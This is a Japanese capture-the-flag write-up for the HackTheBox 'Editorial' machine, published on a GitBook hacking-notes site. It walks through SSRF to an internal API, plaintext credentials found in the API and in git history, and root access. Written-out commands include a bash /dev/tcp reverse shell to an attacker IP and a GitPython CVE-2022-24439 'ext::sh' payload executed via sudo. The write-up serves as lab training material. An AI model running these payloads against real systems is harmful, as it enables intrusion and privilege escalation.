> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md). # Editorial HackTheBox攻略記事 SSRF、Git Log、Git Pythonを扱い、実践的な列挙、侵入、足掛かり、権限昇格のメモを含むEditorial HackTheBox Easy Linuxマシンの攻略記事。 {% embed url="" %} {% hint style="warning" %} **スキル:** * SSRF * Gitログ * Git Python {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80,22 10.10.11.20 -oN targeted ```

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

## 脆弱性 [SSRF](/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md): 「Browse」ボタンを使うと、本の表紙を表す画像であるはずのファイルをダウンロードできます。一方、「Cover URL linked to your book」テキストフィールドでは、サービスがそのURLを参照して画像をアップロードできるように、URLを入力できます。

#### **開始** [**Burp Suite**](/ja/hacking-tools/web/burpsuite.md)**:** 画像がサーバーにアップロードされると、その保存場所へのリンクが提供されます。

その後、65,535個すべてのポートに対してブルートフォース攻撃を行うと、ポート5000だけが異なる応答を返すことがわかります。

内部ポート5000の内容を確認すると、ファイルのダウンロードが可能であることがわかります。

このJSON形式のファイルには、内部APIとそれぞれのルートが一覧されています。その中でも、 `message/authors` ルートは特に重要に見えます。

したがって、Burp Suiteを使って、次のアドレスのポート5000経由でそのファイルにアクセスします： ```url http://127.0.0.1:5000/api/latest/metadata/messages/authors ```

このファイルには、平文のユーザー名とパスワードも見つかります `dev:dev080217_devAPI!@`

その後、次に接続を試みます `SSH` 開いているポート22経由で接続し、ユーザーフラグの取得に成功します。

## 権限昇格 #### Linuxサーバーにアクセスした後は、作業効率と快適さを最適化するため、ターミナルで次のコマンドを実行することをおすすめします： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` システムのルートに移動すると、2人のユーザーが存在することがわかります： **dev** および **prod**.

ユーザー **dev** には、2つの可視フォルダと、"git"という名前の隠しフォルダがあります。 `git log` コマンドを実行すると、2つの異なるコミットが確認できます。

これらのコミットの中に、ユーザーのパスワードが **prod** 平文で表示されます： `prod:080217_Producti0n_2023!@`.

その後、ユーザーとしてSSHでログインします **prod**.

### Sudoers: 次の `sudo -l` コマンドを実行すると、スクリプトを実行できることがわかります。 **root**.

Gitライブラリの脆弱なバージョンがあり、これは次のもので識別されます： `clone_from` 関数が存在します。次のコマンドでPythonパッケージ一覧を表示すると、 `pip3 list`、 **GitPython 3.1.29** がインストールされていることがわかります。このバージョンは次の脆弱性で知られています： **CVE-2022-24439**これにより、任意コードの実行が可能になります。この欠陥は次のように悪用できます：

{% embed url="" %} リバースシェルを取得するため、作業用ディレクトリにエクスプロイトスクリプトを作成します： ```bash bash -i >& /dev/tcp/10.10.14.139/4444 0>&1 ```

次に、自分のマシンでポート4444を次の方法で待ち受けます： **netcat**

最後に、 **sudo**、ペイロードを追加して： ``` ext::sh -c bash% /tmp/shell ``` {% code overflow="wrap" fullWidth="true" %} ```bash sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell' ``` {% endcode %} ### rootフラグ: )

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.